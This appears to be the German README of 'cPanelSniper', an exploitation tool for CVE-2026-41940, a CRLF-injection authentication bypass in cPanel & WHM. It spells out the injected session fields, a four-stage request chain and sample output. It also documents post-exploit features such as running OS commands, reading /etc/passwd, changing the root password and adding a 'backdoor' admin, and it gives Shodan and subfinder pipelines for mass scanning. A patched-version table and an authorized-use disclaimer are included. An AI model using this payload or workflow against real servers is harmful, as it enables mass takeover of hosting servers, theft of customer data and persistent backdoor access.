
CVE-2026-41940 — cPanel & WHM Authentifizierungsumgehung durch CRLF-Injektion in Session-Dateien
CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection
4-stufige Exploit-Kette · Interaktive WHM-Shell · Bulk-Scanner · Pipeline-fähig · nur stdlib
cPanelSniper ist ein fokussiertes Exploitation-Framework für CVE-2026-41940, eine kritische Authentifizierungs-Bypass-Schwachstelle, die cPanel & WHM betrifft. Die Schwachstelle ermöglicht nicht authentifizierten Remote-Angreifern, Root-Level-WHM-Zugriff zu erlangen, indem CRLF-Sequenzen über den Authorization-HTTP-Header in die Session-Datei injiziert werden — ohne gültige Anmeldedaten.
Nur für autorisierte Penetrationstests und Bug-Bounty-Programme.
Die Ursache liegt in Session.pm: Die Funktion saveSession() ruft filter_sessiondata() nach dem Schreiben der Session-Datei auf die Festplatte auf. Das bedeutet, dass CRLF-Zeichen, die im Authorization: Basic-Headerwert eingebettet sind, unverändert in die Session-Datei geschrieben werden und Angreifer-kontrollierte Felder vor der Bereinigung injizieren.
Normaler Ablauf:
POST /login/ → filter_sessiondata() → Session schreiben → Auth-Check
Verwundbarer Ablauf:
POST /login/ → Session schreiben (CRLF-Payload injiziert) → filter_sessiondata() → Auth-Check liest vergiftete Datei
Der Authorization: Basic-Wert dekodiert zu:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Diese Felder werden direkt in die Session-Datei auf der Festplatte geschrieben. Beim Zurücklesen behandelt cPanel die Session als vollständig authentifizierte Root-Session.
┌─────────────────────────────────────────────────────────────┐
│ Stufe 0 — Kanonische Hostname-Erkennung │
│ GET /openid_connect/cpanelid → 307 → echter Hostname │
├─────────────────────────────────────────────────────────────┤
│ Stufe 1 — Preauth-Session prägen │
│ POST /login/?login_only=1 (falsche Anmeldedaten) │
│ ← 401 + whostmgrsession-Cookie │
├─────────────────────────────────────────────────────────────┤
│ Stufe 2 — CRLF-Injection │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd schreibt CRLF-Felder in die Session-Datei │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Stufe 3 — Propagieren (do_token_denied-Gadget) │
│ GET /scripts2/listaccts │
│ Löst raw→cache-Flush aus — injizierte Felder werden aktiv │
│ ← 401 Token denied (erwartet) │
├─────────────────────────────────────────────────────────────┤
│ Stufe 4 — WHM-Root-Zugriff verifizieren │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
Kein pip install erforderlich. Nur reines Python 3.8+ stdlib.
# Einzelnes Ziel — nur scannen
python3 cPanelSniper.py -u https://target.com:2087
# Einzelnes Ziel — interaktive Shell nach dem Bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Bulk-Scan aus Datei
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# Erzwungener Scan (cPanel-Erkennung überspringen)
python3 cPanelSniper.py -u https://target.com:2087 --force
# Alle cPanel-Konten auf dem Server auflisten
python3 cPanelSniper.py -u https://target.com:2087 --action list
# OS-Befehl ausführen
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Serverinformationen abrufen (Hostname, Last, Festplatte, MySQL-Host)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# cPanel-Version abrufen
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Root-Passwort ändern
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Interaktive WHM-Shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# Aus Scope-Liste
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Shodan-Ergebnisse
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# stdin-Pipe
echo "https://target.com:2087" | python3 cPanelSniper.py
# Mehrere Quellen kombiniert
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
Nach einem erfolgreichen Bypass öffnet das Flag --action shell eine interaktive Eingabeaufforderung:
════════════════════════════════════════════════════════════
WHM Shell — target.com
Version: CVE-2026-41940 | Auth: CRLF bypass
'help' für Befehle, 'exit' zum Beenden
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel-Konten] target.com:2087 (47 Benutzer)
user01 domain: example.com email: [email protected]
user02 domain: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Server-Info] https://target.com:2087
hostname: srv01.target.com
load: 0.72 / 0.66 / 0.69
version: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[BACKDOOR-ADMIN ERSTELLT]
Ziel : https://target.com:2087
Benutzer : mitsec
Passwort : P@ss2026!
Profil : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT] [--no-color]
Ziel:
-u, --url URL Einzelne Ziel-URL (z. B. https://host:2087)
-l, --list LIST Datei mit URLs (eine pro Zeile)
--hostname HOSTNAME Kanonischen Host-Header überschreiben (automatisch erkannt)
Scan:
-t, --threads N Parallele Threads (Standard: 10)
--timeout N Request-Timeout in Sekunden (Standard: 15)
--rate-limit N Verzögerung zwischen Zielen (Standard: 0)
--force cPanel-Erkennungsprüfung überspringen
Post-Exploit:
--action ACTION Aktion: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS Neues Root-Passwort (--action passwd)
--cmd CMD OS-Befehl (--action cmd/exec)
--new-user USER Neuer cPanel-Benutzername (--action adduser)
--new-domain DOMAIN Neue cPanel-Domain (--action adduser)
Ausgabe:
-o, --output FILE Ergebnisse in JSON-Datei speichern
--no-color ANSI-Farben deaktivieren
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
4-stufig: preauth → CRLF inject → propagate → verify → post-exploit
In-The-Wild | CVSS 10.0 | Von Mitsec (@ynsmroztas)
Konfiguration:
Ziele : 1
Threads : 10
Timeout : 15s
Aktion : list
14:46:22 [SCAN] Starte 4-stufige Exploit-Kette... https://target.com:2087
14:46:23 [INFO] Kanonischer Hostname erkannt: srv01.target.com
14:46:23 [STEP] Stufe 1/4 — Preauth-Session prägen...
14:46:23 [ OK] Stufe1: preauth session = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Stufe 2/4 — CRLF-Injection über Authorization-Header...
14:46:24 [ OK] Stufe2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Stufe 3/4 — do_token_denied-Gadget auslösen (raw→cache)...
14:46:25 [ OK] Stufe3: HTTP 401 — do_token_denied-Gadget ausgelöst
14:46:25 [STEP] Stufe 4/4 — WHM-Root-Zugriff verifizieren...
14:46:26 [PWND] CVE-2026-41940 BESTÄTIGT — WHM-Root-Zugriff!
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Version : 11.130.0.6
14:46:26 [PWND] API-URL : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Führe Post-Exploit-Aktion aus: list
14:46:27 [ API] listaccts → HTTP 200
[cPanel-Konten] target.com:2087 (47 Konten)
client01 domain: client01.com email: [email protected]
client02 domain: client02.net email: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — Scan abgeschlossen
Zeit: 5.8s · Ziele: 1
⚡ 1 VERWUNDBARES ZIEL
Ziel : https://target.com:2087
Version : 11.130.0.6
Token : /cpsess8493537756
API-URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
Der injizierte Authorization: Basic-Wert (base64-dekodiert) enthält CRLF-Sequenzen, die in der cPanel-Session-Datei zu Zeilenumbrüchen werden:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
Der Session-Reader von cPanel parst diese als legitime Session-Felder und gewährt vollen Root-WHM-Zugriff.
Der kritische und oft übersehene Schritt: Nach der CRLF-Injection (Stufe 2) existieren die vergifteten Session-Daten nur in der rohen Session-Datei. Eine Anfrage an /scripts2/listaccts löst den internen do_token_denied-Handler aus, der die rohen Session-Daten in den Session-Cache spült. Ohne diesen Flush würde Stufe 4 eine 403 zurückgeben.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- ob hash (entfernt)
+-- Session-Name (für Injection verwendet)
Der Session-Name (vor %2C) wird extrahiert und als Cookie-Wert für nachfolgende Anfragen verwendet.
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bug-Bounty-Programme bestimmt. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung und ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Holen Sie vor dem Testen immer eine schriftliche Genehmigung ein.
Mitsec — @ynsmroztas
Mit ❤️ erstellt von @ynsmroztas
| Branch | Verwundbar | Gepatcht |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| Befehl | Beschreibung |
|---|
id / whoami | UID und Hostname anzeigen |
hostname | Server-Hostname abrufen |
version | cPanel-Versionsinfo |
info | Last, Festplatte, MySQL-Host, Version |
accounts | Alle cPanel-Benutzerkonten auflisten |
cat <path> | Dateiinhalt lesen |
ls [path] | Verzeichnis auflisten |
exec <cmd> | OS-Befehl ausführen |
addadmin <user> <pass> | Backdoor-WHM-Admin erstellen |
passwd <pass> | Root-Passwort ändern |
api <endpoint> [k=v ...] | Roher WHM-JSON-API-Aufruf |
help | Alle Befehle anzeigen |
exit | Shell beenden |